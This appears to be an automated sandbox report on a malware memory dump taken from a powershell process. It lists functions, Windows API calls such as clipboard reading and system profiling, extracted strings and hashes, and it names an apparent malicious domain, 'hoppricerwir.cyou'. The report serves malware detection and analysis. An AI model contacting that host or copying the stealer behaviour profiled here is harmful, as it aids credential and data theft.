Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: Object$CompatibleCreateMetricsSystem$BitmapCurrentDeleteSelectUninitialize
String ID: &W-Q$9Y$?C*]$hoppricerwir.cyou$|qay$~wxH
API String ID: 3213364925-2360128530
Opcode ID: ae45af60d508102decc7da59701e9a4893ce939ff9a93b35a5cd895196908ad5
Instruction ID: aef483f231ee1e61a479db6060b0077f9689b526eef662d52e770a901b229f69
Opcode Fuzzy Hash: ae45af60d508102decc7da59701e9a4893ce939ff9a93b35a5cd895196908ad5
Instruction Fuzzy Hash: EEB115756047818BE325CF2AC4D0762BBE2FF96300B18C5ADC4D64BB86D738A806CB95

Function 00408880 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 180
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004088A4
GetCurrentThreadId.KERNEL32 ref: 004088AE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408955
GetForegroundWindow.USER32 ref: 0040896A
ExitProcess.KERNEL32 ref: 00408AB7

Strings

6W01, xrefs: 004089B5

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: 6W01
API String ID: 4063528623-326071965
Opcode ID: 39779329cba8329f932d9f79242290fe4725b3bdf2e9b5d89c9d7ceec3140c35
Instruction ID: 68999dc676c32329d0dd7cdb3a03855c51f4a57e0b82bf1efaa177e53c028fce
Opcode Fuzzy Hash: 39779329cba8329f932d9f79242290fe4725b3bdf2e9b5d89c9d7ceec3140c35
Instruction Fuzzy Hash: A0516A73B443040BD328EF659C46356BA879BC5314F0AC13EA985BB7E2ED78980586CA

Function 0042FCBC Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042FDE5

Strings

BVAI, xrefs: 0042FF6A
t, xrefs: 0042FCCC
mc, xrefs: 0042FDF9
_Pna, xrefs: 0042FD26

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI$_Pna$mc$t
API String ID: 3960555810-1770441902
Opcode ID: a6be79c1421af0b4b0c922728e2635db4fbde982ee4162c8bdd7ea1edf433783
Instruction ID: 048c6723a0782cba0ed5f5bfde42b0dc355c8231af3653691a455654dcaa2d5e
Opcode Fuzzy Hash: a6be79c1421af0b4b0c922728e2635db4fbde982ee4162c8bdd7ea1edf433783
Instruction Fuzzy Hash: 03A1C37050C3D18AE739CF2594103ABBBE1AFD7304F58897ED0D997382DB79814A8B5A

Function 0040AA32 Relevance: 2.6, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MO, xrefs: 0040A9CF
MO, xrefs: 0040AA37

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: MO$MO
API String ID: 0-3148518880
Opcode ID: 15a7f7520f170cbb2b7e14720c3e61eb56271343ee20c45e820ed2ad2248e475
Instruction ID: de3bae81b745c0a1c58d0910fc7dee7dc7ce1027ddf7ad09ed428793afe2e5a8
Opcode Fuzzy Hash: 15a7f7520f170cbb2b7e14720c3e61eb56271343ee20c45e820ed2ad2248e475
Instruction Fuzzy Hash: BB119E742443818BEF148F649D916677FA0EF42320B2499A99C455F3CBC638C511CF69

Function 004402C0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044316E,?,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 004402EE

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0042F593 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042FDE5

Strings

BVAI, xrefs: 0042FF6A
mc, xrefs: 0042FDF9
_Pna, xrefs: 0042FD26

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI$_Pna$mc
API String ID: 3960555810-248794846
Opcode ID: e20604cf438d5162dd1426d558378ce0c72a7d69ab01ea0e8bd2ba419342e536
Instruction ID: 4602279258590fb4333a19c7491d28bcbf70d7fe201b26eacc3081d169e46926
Opcode Fuzzy Hash: e20604cf438d5162dd1426d558378ce0c72a7d69ab01ea0e8bd2ba419342e536
Instruction Fuzzy Hash: 1E91B37050C3D18AE739CF2594107ABBBE1AFD7304F58897ED0D997282DB79810A8B5A

Function 00431BDC Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 188
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00431C76

Strings

0, xrefs: 00431E5F

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: dbf4593ca8462947b98e60e5567fc90a4260e88e548a6b8d495fc0ba226c3a3b
Instruction ID: 75eaf662d9c589b01a38dc5a30bb343e60d1af106b06ec0788e7db995185e580
Opcode Fuzzy Hash: dbf4593ca8462947b98e60e5567fc90a4260e88e548a6b8d495fc0ba226c3a3b
Instruction Fuzzy Hash: 0EA1E861108BC28ED326CB3C8888346BF916B67228F6887DDD1E54F3E7D3669507C766

Function 0043050E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32 ref: 0043051A

Strings

0, xrefs: 004306ED

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: FreeString
String ID: 0
API String ID: 3341692771-4108050209
Opcode ID: cd3b511db58308d0cda410b5947d80cabbdc4fa6f5514434cd8216b9fffbe1b1
Instruction ID: bd9238e5cf4bd65781edf7607a6808194f734c4eacd31bf2d7c7d5c44c0989fc
Opcode Fuzzy Hash: cd3b511db58308d0cda410b5947d80cabbdc4fa6f5514434cd8216b9fffbe1b1
Instruction Fuzzy Hash: 0F71DF60108BC18ED366CB3C84887067E911B6722CF6887DDD0EA4F2D3D7AB951BC766

Function 0040E3D3 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040E3D7
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040E51A

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c988e08bd81bdbbbc832e77591d1fe524e628b2a2385e733f966e0820bef1a3a
Instruction ID: b2aa6f84acc7d50c337c606844e5536a7248dcea6e3e3aabb346ed1b6ad7aec1
Opcode Fuzzy Hash: c988e08bd81bdbbbc832e77591d1fe524e628b2a2385e733f966e0820bef1a3a
Instruction Fuzzy Hash: CC41FAB4C10B40AFD370EF3D9A0B7167EB4AB05214F404B2DF9E6966D4E230A4198BD7

Function 00439823 Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00439849

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 073064e62519ff9a579f370c810cb79e9028ddc2df4d2d5154c8b9d615f7e12e
Instruction ID: e0540df6cb5c427e005fede11a03f79f5d5b6ceaa27f9f8c3f4a3f8ec0325a9a
Opcode Fuzzy Hash: 073064e62519ff9a579f370c810cb79e9028ddc2df4d2d5154c8b9d615f7e12e
Instruction Fuzzy Hash: CD210B72F056908BD72DCA3D8C913D97A936FDA320F2983EDC169877E4DA784D428701

Function 00440260 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B9C7,00000000,00000001), ref: 00440292

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e3ca6a36a028ff54866f16376779860b9096701dd45936173a9f18f59b7a354d
Instruction ID: c7e132dbbf166c87dd4ca7ba8e526d96017081e21b1d4d371130b4eff19db060
Opcode Fuzzy Hash: e3ca6a36a028ff54866f16376779860b9096701dd45936173a9f18f59b7a354d
Instruction Fuzzy Hash: C3E02B32404310ABD2026F397C06B177674EFC6715F05087AF50156151DB38F811C5DE

Function 00435C46 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00435C93

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: bd06f610fb5cb82329876655fd8972f7d66e50f9020f708ba73a9599597d8710
Instruction ID: ac5fccf5bccf296e627751c12d6dddfeb8de4852015e21e4aae6d1f2bfe14f59
Opcode Fuzzy Hash: bd06f610fb5cb82329876655fd8972f7d66e50f9020f708ba73a9599597d8710
Instruction Fuzzy Hash: 250137B5208302CFD310CF28D59438BBBE1AB88354F15C92CE4A54B394C7B5AA48CFC2

Function 0040DF92 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040DFA4

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 525ce6852620cf2250b72d132fea134f7b330ed63f2d069f63d9c038e588b8ce
Instruction ID: ccd3c5eb67ff0c959232c13284a4feb1b70bc0ce71dfd05ddd5b0dd8dbfc25b4
Opcode Fuzzy Hash: 525ce6852620cf2250b72d132fea134f7b330ed63f2d069f63d9c038e588b8ce
Instruction Fuzzy Hash: AAE04F763843026BE7688B789D57B01228697C5B28F368235F716AF2E5EAB474064909

Function 004307A0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004307EA

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: ec2d46189414bb0ddb803df415df4c84f81e40552a388e376aa0a5912f32d334
Instruction ID: ae200f03afc19e6e376f2d6dc4b79cb601eb3923d66f6f613001280330ca9f77
Opcode Fuzzy Hash: ec2d46189414bb0ddb803df415df4c84f81e40552a388e376aa0a5912f32d334
Instruction Fuzzy Hash: 54F09EB0109701CFE310DF25D19974BBBE1BB85304F11C91CE4954B250C7B5A5498FC6

Function 0043EB40 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004402AB,?,0040B9C7,00000000,00000001), ref: 0043EB60

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 81edc790b0ddca4267d7eff7df3f20d03a026a9a6739d0257eb6886926d10809
Instruction ID: 6306fd139b63709815d779222b474fbda691f96f30962fae2caf2063fc0eb5d0
Opcode Fuzzy Hash: 81edc790b0ddca4267d7eff7df3f20d03a026a9a6739d0257eb6886926d10809
Instruction Fuzzy Hash: FDD0C931445536FBC6102F28BC06BCB3B94EF497A5F0708A5F540AA075E725DC918AD8

Function 004404B1 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 004404BF

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ac82542d7ead4e5736e61cdedea6fc5be5df443e6220e35db9291a32a896b3cb
Instruction ID: 7f86c14d6ce35f706de72b94d0a04e46592ace6e5707a2a12f6891b8fa8e10aa
Opcode Fuzzy Hash: ac82542d7ead4e5736e61cdedea6fc5be5df443e6220e35db9291a32a896b3cb
Instruction Fuzzy Hash: 15E0E2B9900214DBEB44CF68FC9592933B5EB8B3093040439E202C3362EA34E602CF59

Function 0043EB20 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,E931068D,004089CF,6W01), ref: 0043EB30

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 79e8824736e673c164acaa36c8672ab8da0624bb6b492fb9ad0aed697a58ad7a
Instruction ID: faa30900258afa928b287b4fa720072893bcbdc8cd762d9751037a3417221d58
Opcode Fuzzy Hash: 79e8824736e673c164acaa36c8672ab8da0624bb6b492fb9ad0aed697a58ad7a
Instruction Fuzzy Hash: 91C04C31045120ABD5506B15EC05BC63B54DF852A5F020065B105660718660ACC2C698

Non-executed Functions

Function 004367F0 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436804
GetClipboardData.USER32 ref: 0043681F
GlobalLock.KERNEL32 ref: 00436838
GetWindowLongW.USER32 ref: 0043689D
GlobalUnlock.KERNEL32 ref: 00436959
CloseClipboard.USER32 ref: 00436962

Strings

@, xrefs: 004368EA
C, xrefs: 004368B8
E, xrefs: 004368B3
K, xrefs: 004368E5
{, xrefs: 004368BD
B, xrefs: 004368C7
O, xrefs: 004368CC
}, xrefs: 004368D1
N, xrefs: 004368C2
F, xrefs: 004368E0
t, xrefs: 004368D6

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: @$B$C$E$F$K$N$O$t${$}
API String ID: 2832541153-984153585
Opcode ID: bcc03291c71dc1ac25c6e95f0924d253445351a4da78695e986e918d99809bc9
Instruction ID: d12379fae56aa42f0d26b1a9ba346e1c7749dd96ee15ae9ce42ccc61be201c2c
Opcode Fuzzy Hash: bcc03291c71dc1ac25c6e95f0924d253445351a4da78695e986e918d99809bc9
Instruction Fuzzy Hash: 65418FB050C3818ED301EF78D58931FBFE0AF96318F05492EE4C996292D67D8549CBAB

Function 00419840 Relevance: 16.7, APIs: 2, Strings: 7, Instructions: 936COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00419CE7
FreeLibrary.KERNEL32(?), ref: 00419D24

Part of subcall function 004402C0: LdrInitializeThunk.NTDLL(0044316E,?,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 004402EE

Strings

~|, xrefs: 00419B2E
vt, xrefs: 00419AFC
SP, xrefs: 00419BF2
tj, xrefs: 00419BBA
pv, xrefs: 00419BB2
#v, xrefs: 00419CE7, 00419D24
if, xrefs: 00419B1C

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: ~|$SP$if$#v$pv$tj$vt
API String ID: 764372645-1058522317
Opcode ID: 169aba2f4e8664d15b1a1ab539dac5cc1e44ae1bd5d586578fb5b3630a07c9c3
Instruction ID: c1c817f51924b2b6e01bbc71c3bfe870e6f9d21007064de5033cd7ab66586395
Opcode Fuzzy Hash: 169aba2f4e8664d15b1a1ab539dac5cc1e44ae1bd5d586578fb5b3630a07c9c3
Instruction Fuzzy Hash: 5D624770609310AFE724CB15DC9176BB7E2EFC5314F18862DF495973A1D378AC858B4A

Function 00425D6A Relevance: 15.8, Strings: 12, Instructions: 778COMMON

Download Yara Rule

Strings

Wdz, xrefs: 00426396
2E1G, xrefs: 00426876
$@7F, xrefs: 0042633C
uVw, xrefs: 00425EA0
(X#^, xrefs: 00426350
&$, xrefs: 004266A0
-T,j, xrefs: 0042636E
4D2Z, xrefs: 00426346
qs, xrefs: 00425E96
T`Sf, xrefs: 0042638C
8I>K, xrefs: 00426858
+\1R, xrefs: 0042635A

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: $@7F$(X#^$+\1R$-T,j$2E1G$4D2Z$8I>K$T`Sf$Wdz$&$$qs$uVw
API String ID: 0-2419925205
Opcode ID: ca598dc51a000f056f5bb2bb45aabf073663e4a78c1dd2f0c6dde1c4902e434d
Instruction ID: c261d025133841230159ca5431fd9423a817dc7e9349410c690f11e8db15d26c
Opcode Fuzzy Hash: ca598dc51a000f056f5bb2bb45aabf073663e4a78c1dd2f0c6dde1c4902e434d
Instruction Fuzzy Hash: FA7283B4A05269CFDB24CF55D881BDDBBB2FB46300F1181E9C5496B362DB349A86CF84

Function 00417405 Relevance: 13.4, APIs: 4, Strings: 3, Instructions: 1110COMMON

Download Yara Rule

Strings

O, xrefs: 00417625
~, xrefs: 00418158
5&'d, xrefs: 004175E5

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 5&'d$O$~
API String ID: 0-1622812124
Opcode ID: 3f7eed984c0b9e8c8a671b995d758858a609a1d9353c597aea2bfcbe78053b53
Instruction ID: 7c8e188e2ff574dc84e1e58bec60109b2722ae2eee07efcef2931a8160e5a92b
Opcode Fuzzy Hash: 3f7eed984c0b9e8c8a671b995d758858a609a1d9353c597aea2bfcbe78053b53
Instruction Fuzzy Hash: AC820F7550C3518BC324CF28C8917ABB7E1FF99314F198A6EE4C99B391E7389941CB4A

Function 004257E0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 295COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 004258F4
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0042595D

Strings

)RSP, xrefs: 004259A1
=^"\, xrefs: 00425ABF
B"@, xrefs: 00425818
`J/H, xrefs: 00425826
rp, xrefs: 00425834

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: B"@$)RSP$=^"\$`J/H$rp
API String ID: 237503144-816972838
Opcode ID: bf1cafb989073c4553b17663fd8b05ca961829d4f2cee33832e91d81a2f5237f
Instruction ID: cd6e5e946c3164ee33c4da05371f075d598195140dbb1deecb8ac0c04a2143aa
Opcode Fuzzy Hash: bf1cafb989073c4553b17663fd8b05ca961829d4f2cee33832e91d81a2f5237f
Instruction Fuzzy Hash: 9DA110B6E402188FDB10CFA8DC827EEBBB1FF85314F154169E414AB291D7B59942CB94

Function 0041C400 Relevance: 10.8, Strings: 8, Instructions: 842COMMON

Download Yara Rule

Strings

4D"J, xrefs: 0041C8E8
,\/b, xrefs: 0041C912
C`6f, xrefs: 0041C919
C`6f, xrefs: 0041C73C, 0041CBB1, 0041CC7D
2T'Z, xrefs: 0041C904
,X0^, xrefs: 0041C90B
+P%V, xrefs: 0041C8FD
*H%N, xrefs: 0041C8EF

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: *H%N$+P%V$,X0^$,\/b$2T'Z$4D"J$C`6f$C`6f
API String ID: 0-102253164
Opcode ID: 7d18ccd7fb329c2f7a5c3569352263da56546af64857bf12c5cea43640fe8961
Instruction ID: 7c24634cc790d3dc5544db0222c0a2221dcce8583ae8b0beabc19f11c9a677e2
Opcode Fuzzy Hash: 7d18ccd7fb329c2f7a5c3569352263da56546af64857bf12c5cea43640fe8961
Instruction Fuzzy Hash: 923202B19402118BCB24CF24CC927A7B7B2FF95314F28829DD851AF395E779A842CBD5

Function 0040B2B0 Relevance: 9.3, Strings: 7, Instructions: 518COMMON

Download Yara Rule

Strings

K{Du, xrefs: 0040B3DA
?_oY, xrefs: 0040B389
`/(), xrefs: 0040B588
Bc*}, xrefs: 0040B3C6
@w@q, xrefs: 0040B3E4
6C(], xrefs: 0040B382
fWpQ, xrefs: 0040B397

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 6C(]$?_oY$@w@q$Bc*}$K{Du$`/()$fWpQ
API String ID: 0-74227037
Opcode ID: 38d3abca32f2cf0db45db9bcd24ebb0db54af3e6334d844c9839fcbf09972b5b
Instruction ID: 6cbb9b4a16d706e95eb7c5eb543f19fb0438a443f67131002351f3f2f8f3bf58
Opcode Fuzzy Hash: 38d3abca32f2cf0db45db9bcd24ebb0db54af3e6334d844c9839fcbf09972b5b
Instruction Fuzzy Hash: FA1299B5205B01CFD324CF25D891B97BBF6FB45314F058A2DD5AA8BAA0DB74A406CF84

Function 00425AF0 Relevance: 7.8, Strings: 6, Instructions: 289COMMON

Download Yara Rule

Strings

K3, xrefs: 00425C4A
)RSP, xrefs: 004259A1
bX_^, xrefs: 00425BBD
B:, xrefs: 00425C36
=^"\, xrefs: 00425ABF
C@, xrefs: 00425C40

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: )RSP$=^"\$B:$C@$K3$bX_^
API String ID: 0-3030200349
Opcode ID: b7b7d5e1b28ee3cbee9031abf066d5bdbea60043203f55f78b2bc464f190e4c2
Instruction ID: 361e1606381cfafdf419846c5dd42b56ab67650ac9a68572a77bc4f7112e5621
Opcode Fuzzy Hash: b7b7d5e1b28ee3cbee9031abf066d5bdbea60043203f55f78b2bc464f190e4c2
Instruction Fuzzy Hash: 77B120B6E002288FDB20CF68DC427DEBBB1FB85314F1981A9E418AB351D7785D468F91

Function 0042EA62 Relevance: 5.3, Strings: 4, Instructions: 331COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
D, xrefs: 0042ED68
4b, xrefs: 0042EDDA
0, xrefs: 0042ED00

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 0$8<j?$D$4b
API String ID: 0-1320392364
Opcode ID: c5bccc6a1462223a6a16399cddfc4de50993b4880fcb804883e5cf7c287459bb
Instruction ID: 2b7b52935a6d5b5a4047c1575b3543403dadbc3efec4758ce9a79863674c7261
Opcode Fuzzy Hash: c5bccc6a1462223a6a16399cddfc4de50993b4880fcb804883e5cf7c287459bb
Instruction Fuzzy Hash: 9F91F66030C3918BD718CF3A946136BBBD19FD6314F69896EE4D68B391D23CC406871A

Function 0041BBA0 Relevance: 5.3, Strings: 4, Instructions: 325COMMON

Download Yara Rule

Strings

WT, xrefs: 0041BD39
'P0V, xrefs: 0041BD31
9HiN, xrefs: 0041BD21
,D,J, xrefs: 0041BD19

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 'P0V$,D,J$9HiN$WT
API String ID: 0-3770969982
Opcode ID: db0a98afcbfdb664a44cceaff5c849975bf5989fe3d7f245b03da2a88515caab
Instruction ID: 1a2b24427ca50ea0613cce179253f9256e84f06a3d156f412d4f3691be65671a
Opcode Fuzzy Hash: db0a98afcbfdb664a44cceaff5c849975bf5989fe3d7f245b03da2a88515caab
Instruction Fuzzy Hash: 72B123B664D3549BD304CF62D8802AFBBE2FBC1314F098D2DE1C897341D779884A8B86

Function 0042EB5F Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
D, xrefs: 0042ED68
4b, xrefs: 0042EDDA

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_powershell.jbxd

Similarity

API ID:
String ID: 8<j?$D$4b
API String ID: 0-2390459867
Opcode ID: d7cf588a064f1155daa4d7c44af41ec226caa0cd09314393bb3aaf469a1037c3
Instruction ID: 3d775767d977819f4cd04dfa65fb75d6d4b79ad1faca8718d285b39be461a68a
Opcode Fuzzy Hash: d7cf588a064f1155daa4d7c44af41ec226caa0cd09314393bb3aaf469a1037c3
Instruction Fuzzy Hash: 1781F86020C3928BD719CF3A946137BBFD19FD6314F69896EE4D68B381D27DC406871A

Function 0042EBB3 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

8<j?, xrefs: 0042ED50
D, xrefs: 0042ED68
4b, xrefs: 0042EDDA

Memory Dump Source

Source File: 0000000E.00000002.3434202430.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

